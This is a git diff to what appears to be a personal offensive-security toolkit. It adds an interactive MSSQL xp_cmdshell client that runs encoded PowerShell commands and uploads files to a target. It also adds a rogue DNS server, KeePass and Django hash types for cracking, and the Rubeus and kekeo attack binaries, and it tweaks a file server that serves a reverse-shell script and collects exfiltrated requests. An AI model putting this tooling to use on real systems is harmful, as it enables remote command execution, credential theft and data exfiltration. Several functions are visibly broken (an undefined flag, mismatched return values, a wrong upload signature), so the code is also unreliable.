diff --git a/__init__.py b/__init__.py index 4585272..1d35bb7 100644 --- a/__init__.py +++ b/__init__.py @@ -2,7 +2,7 @@ import os import sys __doc__ = __doc__ or "" -__all__ = ["util","fileserver","xss_handler","genRevShell"] +__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"] inc_dir = os.path.dirname(os.path.realpath(__file__)) sys.path.append(inc_dir) diff --git a/crack_hash.py b/crack_hash.py index 66fa6b4..a23fd46 100755 --- a/crack_hash.py +++ b/crack_hash.py @@ -61,6 +61,7 @@ class HashType(enum.Enum): # python PYTHON_PBKDF2_SHA256 = 20300 PYTHON_PBKDF2_SHA512 = 20200 + DJANGO_PBKDF2_SHA256 = 10000 # Windows LM = 3000 @@ -73,6 +74,9 @@ class HashType(enum.Enum): KERBEROS_TGS_REP = 13100 KERBEROS_AS_REP = 18200 + # Keepass + KEEPASS = 13400 + class Hash: def __init__(self, hash): @@ -114,6 +118,10 @@ class Hash: self.type.append(HashType.PYTHON_PBKDF2_SHA256) elif crypt_type == "pbkdf2-sha512": self.type.append(HashType.PYTHON_PBKDF2_SHA512) + elif crypt_type == "keepass": + self.type.append(HashType.KEEPASS) + elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"): + self.type.append(HashType.DJANGO_PBKDF2_SHA256) else: if ":" in raw_hash: parts = raw_hash.split(":") diff --git a/dnsserver.py b/dnsserver.py new file mode 100644 index 0000000..0e6e819 --- /dev/null +++ b/dnsserver.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# coding=utf-8 + +import argparse +import datetime +import sys +import time +import threading +import traceback +import socketserver +import struct + +try: + from dnslib import * +except ImportError: + print("Missing dependency dnslib: . Please install it with `pip`.") + sys.exit(2) + + +class DnsServer: + + class BaseRequestHandler(socketserver.BaseRequestHandler): + + def get_data(self): + raise NotImplementedError + + def send_data(self, data): + raise NotImplementedError + + def handle(self): + now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f') + try: + data = self.get_data() + self.send_data(self.server.server.dns_response(data)) + except Exception: + traceback.print_exc(file=sys.stderr) + + class TCPReqImpl(BaseRequestHandler): + + def get_data(self): + data = self.request.recv(8192).strip() + sz = struct.unpack('>H', data[:2])[0] + if sz < len(data) - 2: + raise Exception("Wrong size of TCP packet") + elif sz > len(data) - 2: + raise Exception("Too big TCP packet") + return data[2:] + + def send_data(self, data): + sz = struct.pack('>H', len(data)) + return self.request.sendall(sz + data) + + class UDPReqImpl(BaseRequestHandler): + + def get_data(self): + return self.request[0].strip() + + def send_data(self, data): + return self.request[1].sendto(data, self.client_address) + + class UDPImpl(socketserver.ThreadingUDPServer): + + def __init__(self, server): + super().__init__((server.bind_addr, server.listen_port), DnsServer.UDPReqImpl) + self.server = server + + class TCPImpl(socketserver.ThreadingTCPServer): + + def __init__(self, server): + super().__init__((server.bind_addr, server.listen_port), DnsServer.TCPReqImpl) + self.server = server + + def __init__(self, addr, port=53): + self.bind_addr = addr + self.listen_port = port + self.sockets = [] + self.threads = [] + self.sockets.append(DnsServer.UDPImpl(self)) + self.sockets.append(DnsServer.TCPImpl(self)) + self.entries = { "A": {}, "AAAA": {}, "MX": {}, "TXT": {}, "NS": {} } + self.debug = False + self.ttl = 60 * 5 + self.logging = False + + def addEntry(self, type, domain, value): + if type not in self.entries: + print("Invalid type, must be one of:", self.entries.keys()) + return False + + if not domain.endswith("."): + domain += "." + + if type in ["A","MX","NS"]: + value = A(value) + elif type in ["AAAA"]: + value = AAAA(value) + elif type in ["TXT"]: + value = CNAME(value) + + if self.debug: + print(f"Added entry: {type} {domain} => {value}") + + self.entries[type][domain] = value + return True + + def startBackground(self): + for socket in self.sockets: + t = threading.Thread(target=socket.serve_forever) + t.start() + self.threads.append(t) + + def start(self): + self.startBackground() + map(lambda t: t.join(), self.threads) + + def stop(self): + map(lambda s: s.shutdown(), self.sockets) + map(lambda t: t.join(), self.threads) + + def dns_response(self, data): + request = DNSRecord.parse(data) + + if self.debug: + print("DNS REQUEST:", request) + + reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) + qname = request.q.qname + qn = str(qname) + qtype = request.q.qtype + qt = QTYPE[qtype] + + if qt in self.entries and qn in self.entries[qt]: + entry = self.entries[qt][qn] + rqt = entry.__class__.__name__ + reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=self.ttl, rdata=entry)) + if self.logging: + print(f"Request: {qt} {qn} -> {entry}") + + if self.debug: + print("DNS RESPONSE:", reply) + + return reply.pack() diff --git a/fileserver.py b/fileserver.py index 45f23b3..49e9ace 100755 --- a/fileserver.py +++ b/fileserver.py @@ -40,6 +40,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): if contentLength and int(contentLength) > 0: data = self.rfile.read(int(contentLength)) + if "Host" in self.headers: + del self.headers["Host"] + method = self.command print(target, "=>", method, target_rewrite) res = requests.request(method, target_rewrite, headers=self.headers, data=data) @@ -65,6 +68,11 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): def do_GET(self): + if not self.server.is_running: + self.send_response(200) + self.end_headers() + return + path = self.server.cleanPath(self.path) route = self.find_route(path) result = route(self) @@ -74,29 +82,32 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): data = b"" if len(result) < 2 else result[1] headers = { } if len(result) < 3 else result[2] - self.log_request(status_code) - self.send_response_only(status_code) + if len(headers) == 0: + self.send_response(status_code) + else: + self.log_request(status_code) + self.send_response_only(status_code) - for key, value in headers.items(): - if key.lower() not in blacklist_headers: - self.send_header(key, value) + for key, value in headers.items(): + if key.lower() not in blacklist_headers: + self.send_header(key, value) - if self.command.upper() == "OPTIONS": - self.send_header("Allow", "OPTIONS, GET, HEAD, POST") + if self.command.upper() == "OPTIONS": + self.send_header("Allow", "OPTIONS, GET, HEAD, POST") self.end_headers() if data and self.command.upper() not in ["HEAD","OPTIONS"]: self.wfile.write(data) - if path in self.server.dumpRequests: + if path in self.server.dumpRequests or "/" in self.server.dumpRequests: contentLength = self.headers.get('Content-Length') body = None if contentLength and int(contentLength) > 0: body = self.rfile.read(int(contentLength)) - print("==========") + print("===== Connection from:",self.client_address[0]) print("%s %s %s" % (self.command, self.path, self.request_version)) print(str(self.headers).strip()) if body: @@ -127,12 +138,15 @@ class HttpFileServer(HTTPServer): return path.strip() - def addFile(self, name, data): + def addFile(self, name, data, mimeType=None): if isinstance(data, str): data = data.encode("UTF-8") # return 200 - OK and data - self.addRoute(name, lambda req: (200, data)) + if mimeType: + self.addRoute(name, lambda req: (200, data, { "Content-Type": mimeType })) + else: + self.addRoute(name, lambda req: (200, data)) def dumpRequest(self, name): self.dumpRequests.append(self.cleanPath(name)) @@ -179,6 +193,8 @@ class HttpFileServer(HTTPServer): def stop(self): self.is_running = False + # dummy request + requests.get(f"http://{self.server_name}:{self.server_port}/dummy") def serve_forever(self): while self.is_running: @@ -200,9 +216,8 @@ if __name__ == "__main__": fileServer.addFile("shell.sh", rev_shell) print("Reverse Shell URL: http://%s/shell.sh" % ipAddress) elif sys.argv[1] == "dump": - fileServer.dumpRequest("/exfiltrate") fileServer.dumpRequest("/") - print("Exfiltrate data using: http://%s/exfiltrate" % ipAddress) + print("Exfiltrate data using: http://%s/" % ipAddress) elif sys.argv[1] == "proxy": url = "https://google.com" if len(sys.argv) < 3 else sys.argv[2] fileServer.forwardRequest("/proxy", url) diff --git a/genRevShell.py b/genRevShell.py index c5c23a5..b41d343 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -6,6 +6,8 @@ import pty import util import time import threading +import readline + def generatePayload(type, local_address, port): diff --git a/gobuster.sh b/gobuster.sh index 2800a5b..96cc758 100755 --- a/gobuster.sh +++ b/gobuster.sh @@ -6,11 +6,4 @@ if [ $# -lt 1 ]; then fi HOST=$1 -EXTENSIONS="" - -if [ $# -gt 1 ]; then - EXTENSIONS="-x ${2}" -fi - -gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \ - -k "${EXTENSIONS}" -b "403,404" +gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" -b "403,404" "${@:2}" diff --git a/subdomainFuzz.sh b/subdomainFuzz.sh index 7a40c32..5ffe4c1 100755 --- a/subdomainFuzz.sh +++ b/subdomainFuzz.sh @@ -33,4 +33,4 @@ echo "[ ] Fuzzing…" ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \ - -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" + -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}" diff --git a/win/Rubeus.exe b/win/Rubeus.exe new file mode 100644 index 0000000..157edb4 Binary files /dev/null and b/win/Rubeus.exe differ diff --git a/win/kekeo.exe b/win/kekeo.exe new file mode 100644 index 0000000..3a9a875 Binary files /dev/null and b/win/kekeo.exe differ diff --git a/xp_cmdshell.py b/xp_cmdshell.py new file mode 100644 index 0000000..fc7a1ac --- /dev/null +++ b/xp_cmdshell.py @@ -0,0 +1,163 @@ +# /usr/bin/env python3 +# interactive xp_cmdshell +# with impacket and cmd +# used https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py for reference +import os, cmd, sys, re, base64 +from impacket import tds +import readline + +class XpShell(cmd.Cmd): + + def __init__(self, SQLObj): + cmd.Cmd.__init__(self) + self.sql = SQLObj + self.prompt = 'xp_cmd> ' + self.file = None + + def powershell_encode(self, data): + return base64.b64encode(data.encode('UTF-16LE')).decode() + + def powershell_encode_binary(self, data): + return base64.b64encode(data).decode() + + # interpret every line as system command + def default(self, arg): + try: + + if pwsh: + new_arg = 'powershell -encodedCommand {}' + arg = new_arg.format(self.powershell_encode(arg)) + + self.execute_query(arg) + + except ConnectionResetError as e: + self.reconnect_mssql() + self.execute_query(arg) + except Exception as e: + print('Exception: ') + print(str(e)) + pass + + # i wont say what it does + def do_exit(self, arg): + exit() + + # ? yes + def do_help(self, arg): + print(""" +you found the help command + +pwsh - Toggle powershell on/off +upload - upload a file +exit - i wont say what it does + """) + + def do_upload(self, data, dest): + writeme = bytearray() # contains bytes to be written + + try: + # create/overwrite the target file with powershell + cmd = 'New-Item -Path {} -Force'.format(dest) + cmd = self.powershell_encode(cmd) + self.execute_query('powershell -encodedCommand {}'.format(cmd)) + except FileNotFoundError as e: + print('File not found.') + return + except ConnectionResetError as e: + self.reconnect_mssql() + self.execute_query('powershell -encodedCommand {}'.format(cmd)) + except Exception as e: + print('Exception: ') + print(str(e)) + return + + total_uploaded = 0 # uploaded bytes so far + count = 0 # counter to run through byte array + write_count = 2000 # write 2000 bytes with each command + + # run through all bytes of the file which have been saved in data + for b in data: + writeme.append(b) + # write 'write_count' bytes with each command + if count != 0 and count % write_count == 0: + self.write_bytes_to_file(writeme, dest) + + writeme = bytearray() + total_uploaded += write_count + count = 0 + print('Uploaded {} of {} bytes'.format(total_uploaded,len(data))) + count += 1 + + # if there are unwritten write them + if count > 0: + self.write_bytes_to_file(writeme, dest) + + total_uploaded += count + print('Uploaded {} of {} bytes'.format(total_uploaded, len(data))) + + # executed when ConnectionResetError + def reconnect_mssql(self): + print('connection lost attempting to reconnect...') + self.sql.disconnect() + ms_sql, res = connect_mssql() + if res is True: + self.sql = ms_sql + print('Success!') + else: + print('Could not re-establish connection. Exiting.') + exit() + + + # execute xp_cmdshell command + def execute_query(self, arg): + self.sql.sql_query("exec master..xp_cmdshell '{}'".format(arg)) + self.sql.printReplies() + self.sql.colMeta[0]['TypeData'] = 80*1 + self.sql.printRows() + + + # encodes bytes as base64 and writes them to a file via powershell + def write_bytes_to_file(self, data, target): + data = self.powershell_encode_binary(data) + + # cmd to append bytes to file + cmd = "powershell -command \"Add-Content -value ([Convert]::FromBase64String(\'{}\')) -encoding byte -path \'{}\'\"".format(data, target) + cmd = self.powershell_encode(cmd) + + # execute file write + try: + self.execute_query('powershell -encodedCommand {}'.format(cmd)) + except ConnectionResetError as e: + self.reconnect_mssql() + +def connect_mssql(ip, port=1433, username="sa", password="", domain=""): + # do database connection (simple for now) + try: + ms_sql = tds.MSSQL(ip, port) + ms_sql.connect() + res = ms_sql.login(database = None, username=username, password=password, domain=domain) + ms_sql.printReplies() + if res: + return XpShell(ms_sql) + else: + return res + + except Exception as e: + print('Exception: ') + print(str(e)) + return False + +# if __name__ == '__main__': +# # pass commands directly into powershell +# # ./xp_cmdshell.py -powershell +# if len(sys.argv) > 1 and sys.argv[1] == '-powershell': +# pwsh = True +# +# # if connection successful +# ms_sql, res = connect_mssql() +# if res is True: +# shell = XpShell(ms_sql) +# shell.cmdloop() +# +# # close ms_sql +# ms_sql.disconnect()